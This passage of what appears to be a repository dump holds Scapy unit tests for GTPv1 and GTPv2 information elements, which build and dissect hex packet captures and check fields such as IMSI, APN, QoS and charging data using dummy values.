\"333333333333222222222222810083840800458800c500000000fc1184df0a2a00010a2a00024a55084b00b1f62a321000a1b75eb617464800000202081132547600000332f42004d27b0ffc10db5c765711ba5d87ba14051a0a00800002f1218300070661616161616184001d8080211001000010810600000000830600000000000d00000a000005008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff00640094000120970001019800080132f42004d204d299000240009a00081111111111110000eea69220\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[4]\nie.ietype == 17 and ie.TEICI == 0xba5d87ba\n\n= IE_TEICP(), basic instantiation\nie = IE_TEICP(TEICI=0xba5d87ba)\nie.ietype == 17 and ie.TEICI == 0xba5d87ba\n\n= IE_Teardown(), dissect\nh = \"3333333333332222222222228100838408004588002c00000000fd1184640a2a00010a2a00023d66084b00184c2232140008ba66ce5b6efe000013ff14050000c309006c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.ietype == 19 and ie.indicator == 255\n\n= IE_Teardown(), basic instantiation\nie = IE_Teardown(indicator='True')\nie.ietype == 19 and ie.indicator == 255\n\n= IE_NSAPI(), dissect\nh = \"3333333333332222222222228100838408004588002c00000000fd1184640a2a00010a2a00023d66084b00184c2232140008dafc273ee7ab000013ff14050000c309006c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[1]\nie.ietype == 20 and ie.NSAPI == 5\n\n= IE_NSAPI(), basic instantiation\nie = IE_NSAPI(NSAPI=5)\nie.ietype == 20 and ie.NSAPI == 5\n\n= IE_ChargingCharacteristics(), dissect\nh = \"333333333333222222222222810083840800458800bc00000000fc1184c90a2a00010a2a00024acf084b00a87bbb32100098a3e2565004a400000202081132547600000332f42004d27b0ffc10b87f17ad11c53c5e1b14051a0400800002f1218300070661616161616184001480802110010000108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff004a0094000120970001019800080132f42004d204d299000240009a00081111111111110000951c5bbe\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[6]\nie.ietype == 26 and ie.normal_charging == 0 and ie.prepaid_charging == 1 and ie.flat_rate_charging == 0\n\n= IE_ChargingCharacteristics(), basic instantiation\nie = IE_ChargingCharacteristics(\n    normal_charging=0, prepaid_charging=1, flat_rate_charging=0)\nie.ietype == 26 and ie.normal_charging == 0 and ie.prepaid_charging == 1 and ie.flat_rate_charging == 0\n\n= IE_TraceReference(), basic instantiation\nie = IE_TraceReference(Trace_reference=0x1212)\nie.ietype == 27 and ie.Trace_reference == 0x1212\n\n= IE_TraceType(), basic instantiation\nie = IE_TraceType(Trace_type=0x1212)\nie.ietype == 28 and ie.Trace_type == 0x1212\n\n= IE_ChargingId(), dissect\nh = \"3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030e77ffb7e30410000018010ed654ff37fff1bc3f28500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[2]\nie.ietype == 127 and ie.Charging_id == 0xff1bc3f2\n\n= IE_ChargingId(), basic instantiation\nie = IE_ChargingId(Charging_id=0xff1bc3f2)\nie.ietype == 127 and ie.Charging_id == 0xff1bc3f2\n\n= IE_EndUserAddress(), dissect\nh = \"3333333333332222222222228100838408004588008500000000fd11840b0a2a00010a2a0002084b4a6c00717c8a32110061c1b9728f356a0000018008fe10af709e9011e3cb6a4b7fb60e1b28800006f1210a2a00038400218080210a0301000a03060ab0aa93802110030100108106ac14020a8306ac1402278500040a2a00018500040a2a000187000c0213621f7396486874f2ffff44ded108\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[5]\nie.ietype == 128 and ie.length == 6 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x21 and ie.PDPAddress == '10.42.0.3'\n\n= IE_EndUserAddress(), IPv4/IPv6 dissect\nh = \"00e0fc065f3800e1fc452bf30800450000cf00004000ff11a8afbd28ac11bd28ac0b084b084b00bb0000321100ab645b29420f990000018008fe0e12100270582511027258257f030b15a6800016f18d0a2a00032805021582842522000000000000000084004f80c0230e0200000e0957656c636f6d65210a802110030000108106bd28c6508306bd28c651000310280402148000ffff0000000000000080000310280402148000ffff000000000000008100050101850004bd28ac12850004bd28ac1287000f0223921f9196fefe74f8fefe004a00fb00040acf6976\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[6]\nie.ietype == 128 and ie.length == 22 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x8d and ie.PDPAddress == '10.42.0.3' and ie.IPv6_PDPAddress == '2805:215:8284:2522::'\n\n= IE_EndUserAddress(), basic instantiation IPv4\nie = IE_EndUserAddress(\n    length=6, PDPTypeOrganization=1, PDPTypeNumber=0x21, PDPAddress='10.42.0.3')\nie.ietype == 128 and ie.length == 6 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x21 and ie.PDPAddress == '10.42.0.3'\n\n= IE_EndUserAddress(), basic instantiation IPv6\nie = IE_EndUserAddress(\n    length=18, PDPTypeOrganization=1, PDPTypeNumber=0x57, IPv6_PDPAddress='2804::')\nie.ietype == 128 and ie.length == 18 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x57 and ie.IPv6_PDPAddress == '2804::'\n\n= IE_EndUserAddress(), basic instantiation IPv4/IPv6\nie = IE_EndUserAddress(\n    length=22, PDPTypeOrganization=1, PDPTypeNumber=0x8d, PDPAddress='10.42.0.3', IPv6_PDPAddress ='2804::')\nie.ietype == 128 and ie.length == 22 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x8d and ie.IPv6_PDPAddress == '2804::' and ie.PDPAddress == '10.42.0.3'\n\n\n= IE_AccessPointName(), dissect\nh = \"333333333333222222222222810083840800458800bc00000000fc1184c90a2a00010a2a00024acf084b00a87bbb3210009867fe972185e800000202081132547600000332f42004d27b0ffc1093b20c3f11940eb2bf14051a0400800002f1218300070661616161616184001480802110010000108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff004a0094000120970001019800080132f42004d204d299000240009a000811111111111100001b1212951c5bbe\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[8]\nie.ietype == 131 and ie.APN == b'aaaaaa'\n\n= IE_AccessPointName(), basic instantiation\nie = IE_AccessPointName(APN='aaaaaa')\nie.ietype == 131 and ie.APN == b'aaaaaa'\n\n= IE_ProtocolConfigurationOptions(), dissect\nh = \"333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009fdef90e15440900000202081132547600000332f42004d27b0ffc10c29998b81145c6c9ee14051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[9]\nie.ietype == 132 and ie.Protocol_Configuration == b'\\x80\\xc0#\\x06\\x01\\x01\\x00\\x06\\x00\\x00\\x80!\\x10\\x01\\x01\\x00\\x10\\x81\\x06\\x00\\x00\\x00\\x00\\x83\\x06\\x00\\x00\\x00\\x00'\n\n= IE_ProtocolConfigurationOptions(), basic instantiation\nie = IE_ProtocolConfigurationOptions(\n    length=29, Protocol_Configuration=b'\\x80\\xc0#\\x06\\x01\\x01\\x00\\x06\\x00\\x00\\x80!\\x10\\x01\\x01\\x00\\x10\\x81\\x06\\x00\\x00\\x00\\x00\\x83\\x06\\x00\\x00\\x00\\x00')\nie.ietype == 132 and ie.Protocol_Configuration == b'\\x80\\xc0#\\x06\\x01\\x01\\x00\\x06\\x00\\x00\\x80!\\x10\\x01\\x01\\x00\\x10\\x81\\x06\\x00\\x00\\x00\\x00\\x83\\x06\\x00\\x00\\x00\\x00'\n\n= IE_GSNAddress(), simple build/dissect IPv4\nr = raw(IE_GSNAddress(length=4, ipv4_address='10.42.0.1'))\nassert r == b'\\x85\\x00\\x04\\x0a\\x2a\\x00\\x01'\nie = IE_GSNAddress(r)\nie.ietype == 133 and ie.ipv4_address == '10.42.0.1'\n\n= IE_GSNAddress(), simple build/dissect IPv6\nr = raw(IE_GSNAddress(length=16, ipv6_address='fd01:1::1'))\nassert r == b'\\x85\\x00\\x10\\xfd\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\nie = IE_GSNAddress(r)\nie.ietype == 133 and ie.ipv6_address == 'fd01:1::1'\n\n= IE_GSNAddress(), dissect IPv4\nh = \"3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b463213003031146413c18000000180109181ba027fcf701a8c8500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[3]\nie.ietype == 133 and ie.ipv4_address == '10.42.0.1'\n\n= IE_GSNAddress(), dissect IPv6\nh = \"33333333333322222222222286dd60000000002c1140fd010001000000000000000000000001fd01000100000000000000000000000208680868002ce2e9321a001c000000000000000010000004d2850010fd010001000000000000000000000001\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[1]\nie.ietype == 133 and ie.ipv6_address == 'fd01:1::1'\n\n= IE_GSNAddress(), basic instantiation IPv4\nie = IE_GSNAddress(length=4, ipv4_address='10.42.0.1')\nie.ietype == 133 and ie.ipv4_address == '10.42.0.1'\n\n= IE_GSNAddress(), basic instantiation IPv6\nie = IE_GSNAddress(length=16, ipv6_address='fd01:1::1')\nie.ietype == 133 and ie.ipv6_address == 'fd01:1::1'\n\n= IE_MSInternationalNumber(), dissect\nh = \"333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009f79504a3e048e00000202081132547600000332f42004d27b0ffc10a692773d1158da9e2214051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[12]\nie.ietype == 134 and ie.flags == 145 and ie.digits == b'111111111111'\n\n= IE_MSInternationalNumber(), basic instantiation\nie = IE_MSInternationalNumber(flags=145, digits='111111111111')\nie.ietype == 134 and ie.flags == 145 and ie.digits == b'111111111111'\n\n= IE_QoS(), dissect\nh = \"3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030afe9d3a3317e0000018010bd82f3997f9febcaf58500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[5]\nie.ietype == 135 and ie.allocation_retention_prioiry == 2 and ie.delay_class == 2 and ie.traffic_class == 3\n\n= IE_QoS(), basic instantiation\nie = IE_QoS(allocation_retention_prioiry=2, delay_class=2, traffic_class=3, length=50)\nie.ietype == 135 and ie.allocation_retention_prioiry == 2 and ie.delay_class == 2 and ie.traffic_class == 3\n\n= IE_CommonFlags(), dissect\nh = \"3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044623f97e3ac610000104d82c69214058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[5]\nie.ietype == 148 and ie.nrsn == 1 and ie.no_qos_nego == 1 and ie.prohibit_payload_compression == 0\n\n= IE_CommonFlags(), basic instantiation\nie = IE_CommonFlags(nrsn=1, no_qos_nego=1)\nie.ietype == 148 and ie.nrsn == 1 and ie.no_qos_nego == 1 and ie.prohibit_payload_compression == 0\n\n= IE_APNRestriction(), basic instantiation\nie = IE_APNRestriction(restriction_type_value=12)\nie.ietype == 149 and ie.restriction_type_value == 12\n\n= IE_RATType(), dissect\nh = \"3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb321200442f686a89d33c000010530ec20a14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[6]\nie.ietype == 151 and ie.RAT_Type == 1\n\n= IE_RATType(), basic instantiation\nie = IE_RATType(RAT_Type=1)\nie.ietype == 151 and ie.RAT_Type == 1\n\n= IE_UserLocationInformation(), dissect\nh = \"3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044981eb5dcb29400001016e85d9f14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[7]\nie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.SAC == 1234\n\n= IE_UserLocationInformation(), basic instantiation\nie = IE_UserLocationInformation(MCC='234', MNC='02', LAC=1234, SAC=1234)\nie.ietype == 152 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.SAC == 1234\n\n= IE_MSTimeZone(), dissect\nh = \"3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044f24a4d5825290000102ca9c8c314058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[8]\nie.ietype == 153 and ie.timezone == 64 and ie.daylight_saving_time == 0\n\n= IE_MSTimeZone(), basic instantiation\nie = IE_MSTimeZone(timezone=64)\nie.ietype == 153 and ie.timezone == 64 and ie.daylight_saving_time == 0\n\n= IE_IMEI(), dissect\nh = \"333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009f2f3ae0eb7b9c00000202081132547600000332f42004d27b0ffc10424a10c8117ca21aba14051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[18] and ie.ietype == 154 and ie.IMEI == b'0132750094080322'\n\n= IE_IMEI(), basic instantiation\nie = IE_IMEI(IMEI='0132750094080322')\nie.ietype == 154 and ie.IMEI == b'0132750094080322'\n\n= IE_MSInfoChangeReportingAction(), basic instantiation\nie = IE_MSInfoChangeReportingAction(Action=12)\nie.ietype == 181 and ie.Action == 12\n\n= IE_DirectTunnelFlags(), dissect\nh = \"3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044d2a7dffabfb70000108caa6b0b14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[9]\nie.ietype == 182 and ie.EI == 0 and ie.GCSI == 0 and ie.DTI == 1\n\n= IE_DirectTunnelFlags(), basic instantiation\nie = IE_DirectTunnelFlags(DTI=1)\nie.ietype == 182 and ie.EI == 0 and ie.GCSI == 0 and ie.DTI == 1\n\n= IE_BearerControlMode(), basic instantiation\nie = IE_BearerControlMode(bearer_control_mode=1)\nie.ietype == 184 and ie.bearer_control_mode == 1\n\n= IE_EvolvedAllocationRetentionPriority(), basic instantiation\nie = IE_EvolvedAllocationRetentionPriority(PCI=1)\nie.ietype == 191 and ie.PCI == 1\n\n= IE_CharginGatewayAddress(), basic instantiation\nie = IE_CharginGatewayAddress()\nassert ie.ietype == 251 and ie.ipv4_address == '127.0.0.1'\nie = IE_CharginGatewayAddress(length=16)\nassert ie.ietype == 251 and ie.ipv6_address == '::1'\n\n= IE_PrivateExtension(), basic instantiation\nie = IE_PrivateExtension(extention_value='hello')\nie.ietype == 255 and ie.extention_value == b'hello'\n"
  },
  {
    "path": "test/contrib/gtp_v2.uts",
    "content": "# GTPv2 unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('gtp_v2')\" -t test/contrib/gtp_v2.uts\n\n+ GTPv2\n\n= GTPHeader v2, basic instantiation\ngtp = IP()/UDP(dport=2123)/GTPHeader(gtp_type=1)\ngtp.dport == 2123 and gtp.gtp_type == 1\n\n= GTPV2EchoRequest, basic instantiation\ngtp = IP()/UDP(dport=2123) / GTPHeader(seq=12345) / GTPV2EchoRequest()\ngtp.dport == 2123 and gtp.seq == 12345 and gtp.gtp_type == 1 and gtp.T == 0\n\n= GTPV2CreateSessionRequest, basic instantiation\ngtp = IP() / UDP(dport=2123) / \\\n    GTPHeader(gtp_type=\"create_session_req\", teid=2807, seq=12345) / \\\n    GTPV2CreateSessionRequest(IE_list=[IE_IMSI(IMSI=b'001030000000356'),IE_APN(APN=b'super')])\n\nassert gtp.dport == 2123 and gtp.teid == 2807 and gtp.seq == 12345\nie = gtp.IE_list[1]\nassert ie.APN == b\"super\"\n\n= GTPV2EchoRequest, dissection\nh = \"333333333333222222222222810080c808004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e4001000900000100030001000daa000000003f1f382f\"\ngtp = Ether(hex_bytes(h))\ngtp.gtp_type == 1\n\n= GTPV2EchoResponse, dissection\nh = \"3333333333332222222222228100e384080045fc002fd6d70000f21180d40a2a00010a2a0002084b084b001b00004002000f000001000300010001020002001000731cd7c5\"\ngtp = Ether(hex_bytes(h))\ngtp.gtp_type == 2\n\n= GTPV2ModifyBearerRequest, dissection\nh = \"3333333333332222222222228100a384080045b8004300000000fc1185350a2a00010a2a00027a76084b002f6c344822002392e9e1143652540052000100065d00120049000100055700090080000010927f000002ac79a28e\"\ngtp = Ether(hex_bytes(h))\ngtp.gtp_type == 34\n\n= IE_IMSI, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd00000000661759000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100235700090385000010927f00000250001600580700000000000000000000000000000000000000007200020040005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.IMSI == b\"2080112345670000\"\n\n= IE_IMSI, basic instantiation\nie = IE_IMSI(ietype='IMSI', length=8, IMSI='2080112345670000')\nie.ietype == 1 and ie.IMSI == b'2080112345670000'\nassert bytes(ie) == b'\\x01\\x00\\x08\\x00\\x02\\x08\\x112Tv\\x00\\x00'\n\n= IE_Cause, dissection\nh = \"3333333333332222222222228100838408004588004a00000000fd1193160a2a00010a2a0002084b824600366a744823002a45e679235ea151000200020010005d001800490001006c0200020010005700090081000010927f000002558d3b69\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.Cause == 16\n\n= IE_Cause, basic instantiation\nie = IE_Cause(\n    ietype='Cause', length=2, Cause='Request accepted', PCE=1, BCE=0, CS=0)\nie.ietype == 2 and ie.Cause == 16 and ie.PCE == 1 and ie.BCE == 0 and ie.CS == 0\n\n= IE_Cause, basic instantiation 2\nie = IE_Cause(\n    ietype='Cause', length=2, Cause='Request accepted', PCE=0, BCE=1, CS=0)\nie.ietype == 2 and ie.Cause == 16 and ie.PCE == 0 and ie.BCE == 1 and ie.CS == 0\n\n= IE_Cause, basic instantiation 3\nie = IE_Cause(\n    ietype='Cause', length=2, Cause='Request accepted', PCE=0, BCE=0, CS=1)\nie.ietype == 2 and ie.Cause == 16 and ie.PCE == 0 and ie.BCE == 0 and ie.CS == 1\n\n= IE_RecoveryRestart, dissection\nh = \"3333333333332222222222228100838408004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e400100095e4b1f00030001000daa000000003f1f382f\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.ietype == 3 and ie.restart_counter == 13\n\n= IE_RecoveryRestart, basic instantiation\nie = IE_RecoveryRestart(\n    ietype='Recovery Restart', length=1, restart_counter=17)\nie.ietype == 3 and ie.restart_counter == 17\n\n= IE_APN, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[7]\nie.APN == b'aaaaaaaaaaaaaaaaaaaaaaaaa'\n\n= IE_APN, basic instantiation\nie = IE_APN(ietype='APN', length=26, APN='aaaaaaaaaaaaaaaaaaaaaaaaa')\nie.ietype == 71 and ie.APN == b'aaaaaaaaaaaaaaaaaaaaaaaaa'\nassert bytes(ie) == b'G\\x00\\x1a\\x00\\x19aaaaaaaaaaaaaaaaaaaaaaaaa'\n\n= IE_AMBR, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[11]\nie.AMBR_Uplink == 5888 and ie.AMBR_Downlink == 42000\n\n= IE_AMBR, basic instantiation\nie = IE_AMBR(\n    ietype='AMBR', length=8, AMBR_Uplink=5888, AMBR_Downlink=42000)\nie.ietype == 72 and ie.AMBR_Uplink == 5888 and ie.AMBR_Downlink == 42000\n\n= IE_EPSBearerID, dissection\nh = \"3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[2]\nie.EBI == 50\n\n= IE_EPSBearerID, basic instantiation\nie = IE_EPSBearerID(ietype='EPS Bearer ID', length=1, EBI=50)\nie.ietype == 73 and ie.EBI == 50\n\n= IE_IP_Address, dissection\nh = \"3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d84530d5a4cdee2000200020010004c00060011111111111149000100b248000800000061a8000249f07f000100005d00130049000100da0200020010005e00040039004f454a0004007f00000436f73a63\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[6]\nie.address == '127.0.0.4'\n\n= IE_IP_Address, basic instantiation\nie = IE_IP_Address(ietype='IP Address', length=4, address='127.0.0.4')\nie.ietype == 74 and ie.address == '127.0.0.4'\n\n= IE_MEI, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b00080071655774980786ff56000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[1]\nie.MEI == b\"17567547897068\"\n\n= IE_MEI, basic instantiation\nie = IE_MEI(ietype='MEI', length=1, MEI=175675478970685)\nie.ietype == 75 and ie.MEI == 175675478970685\n\n= IE_MSISDN, dissection\nh = \"3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[1]\nie.digits == b'111111111111'\n\n= IE_MSISDN, basic instantiation\nie = IE_MSISDN(ietype='MSISDN', length=6, digits='111111111111')\nie.ietype == 76 and ie.digits == b'111111111111'\nassert bytes(ie) == b'L\\x00\\x06\\x00\\x11\\x11\\x11\\x11\\x11\\x11'\n\n= IE_Indication, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b00080071655774980786ff56000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[10]\nie.DAF == 0 and ie.DTF == 0 and ie.PS == 1 and ie.CCRSI == 0 and ie.CPRAI == 0 and ie.PPON == 0 and ie.CLII == 0 and ie.CPSR == 0\n\n= IE_Indication, basic instantiation\nie = IE_Indication(ietype='Indication', length=8, PS=1, CPRAI=1)\nie.ietype == 77 and ie.PS == 1 and ie.CPRAI == 1\n\n= IE_Indication, basic instantiation 2\nie = IE_Indication(ietype='Indication', length=8, DTF=1, PPSI=1)\nie.ietype == 77 and ie.DTF == 1 and ie.PPSI == 1\n\n= IE_PCO, dissection\nh = \"333333333333222222222222810083840800458800a500000000fd1183bb0a2a00010a2a0002084b76a00091cf0b48210085bd574af24c68e300020002001000570009008b000010927f0000025700090187000010927f0000024f000500017f0000037f000100004e00220080000d040a2a0003000d040a2a00038021100300001081060a2a000483060a2a00045d00250049000100660200020010005700090081000010927f0000025700090285000010927f000002dd9f22c6\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[5]\nie.Protocols[0].address == '10.42.0.3'\n\n= IE_PCO, basic instantiation\nie = IE_PCO(ietype='Protocol Configuration Options', length=8, Extension=1, PPP=3, Protocols=[\n                   PCO_DNS_Server_IPv4(type='DNS Server IPv4 Address Request', length=4, address='10.42.0.3')])\nie.Extension == 1 and ie.PPP == 3 and ie.Protocols[0].address == '10.42.0.3'\n\n= IE_EPCO, dissection\nh = \"d89ef3da40e2fa163e956dce08004500003000010000401144e10a0f0f3d0a0f1281084b084b001c0c154821000c0000000100000100c500040080001b00\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.Protocols[0].type == 27\n\n= IE_EPCO, basic instantiation\nie = IE_EPCO(Protocols=[PCO_S_Nssai(type=27, length=0)], ietype=197, length=4, CR_flag=0, instance=0, Extension=1, SPARE=0, PPP=0)\nie.Extension == 1 and ie.ietype == 197 and ie.Protocols[0].type == 27 and ie.Protocols[0].length == 0\n\n= IE_APCO, dissection\nh = \"d89ef3da40e2fa163e956dce0800450000360001000040115d650a0f0f3d01020304084b084b00220000482000160000000100000100a3000a0080000c00001200000d00\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.Protocols[0].type == 12 and ie.Protocols[1].type == 18 and ie.Protocols[2].type == 13\n\n= IE_APCO, basic instantiation\nie = IE_APCO(Protocols=[PCO_P_CSCF_IPv4_Address_Request(address=None, type=12, length=0),PCO_P_CSCF_Re_selection_Support(type=18, length=0),PCO_DNS_Server_IPv4(address=None, type=13, length=0)], ietype=163, length=10, CR_flag=0, instance=0, extension=1, SPARE=0, PPP=0)\nie.extension == 1 and ie.ietype == 163 and ie.length == 10 and ie.Protocols[0].type == 12 and ie.Protocols[1].type == 18 and ie.Protocols[2].type == 13\n\n= IE_MMContext_EPS, dissection\nh = \"d89ef3da40e2fa163e956dce08004500007f0001000040114bbd0a0a0f3d0a0f0b5b084b084b006b5a234883005f0000180f76d163006b0046008800910000020000021890aa80be385102083701a2907066f8bd9f2a28b717671c71c71c71c71c71c70100003d090002625a00028040000812345678900000000000000000006d000900880005000470677731\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.Sec_Mode == 4 and ie.Nhi == 0 and ie.Drxi == 1 and ie.Ksi == 0 and ie.Num_quint == 0 and ie.Num_Quad == 0 and ie.Uambri == 0 and ie.Osci == 0 and ie.Sambri == 1 and ie.Nas_algo == 1 and ie.Nas_cipher == 1 and ie.Nas_dl_count == 2 and ie.Nas_ul_count == 2 and ie.Kasme == 11111111111111111111111111111111111111111111111111111111111111111111111111111\n\n= IE_MMContext_EPS, basic instantiation\nie = IE_MMContext_EPS(ietype=107, length=70, CR_flag=0, instance=0, Sec_Mode=4, Nhi=0, Drxi=1, Ksi=0, Num_quint=0, Num_Quad=0, Uambri=0, Osci=0, Sambri=1, Nas_algo=1, Nas_cipher=1, Nas_dl_count=2, Nas_ul_count=2, Kasme=11111111111111111111111111111111111111111111111111111111111111111111111111111)\nie.Sec_Mode == 4 and ie.Nhi == 0 and ie.Drxi == 1 and ie.Ksi == 0 and ie.Num_quint == 0 and ie.Num_Quad == 0 and ie.Uambri == 0 and ie.Osci == 0 and ie.Sambri == 1 and ie.Nas_algo == 1 and ie.Nas_cipher == 1 and ie.Nas_dl_count == 2 and ie.Nas_ul_count == 2 and ie.Kasme == 11111111111111111111111111111111111111111111111111111111111111111111111111111\n\n= IE_PDNConnection, IE_FQDN, dissection\nh = \"d89ef3da40e2fa163e956dce08004500008a0001000040114bbd0a0a0f3d0a0f0b5b084b084b00765a234883006a0000180f76d163006b0046008800910000020000021890aa80be385102083701a2907066f8bd9f2a28b717671c71c71c71c71c71c70100003d090002625a00028040000812345678900000000000000000006d0014008800100004706777310474657374056c6f63616c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[1].IE_list[0]\nie.fqdn == 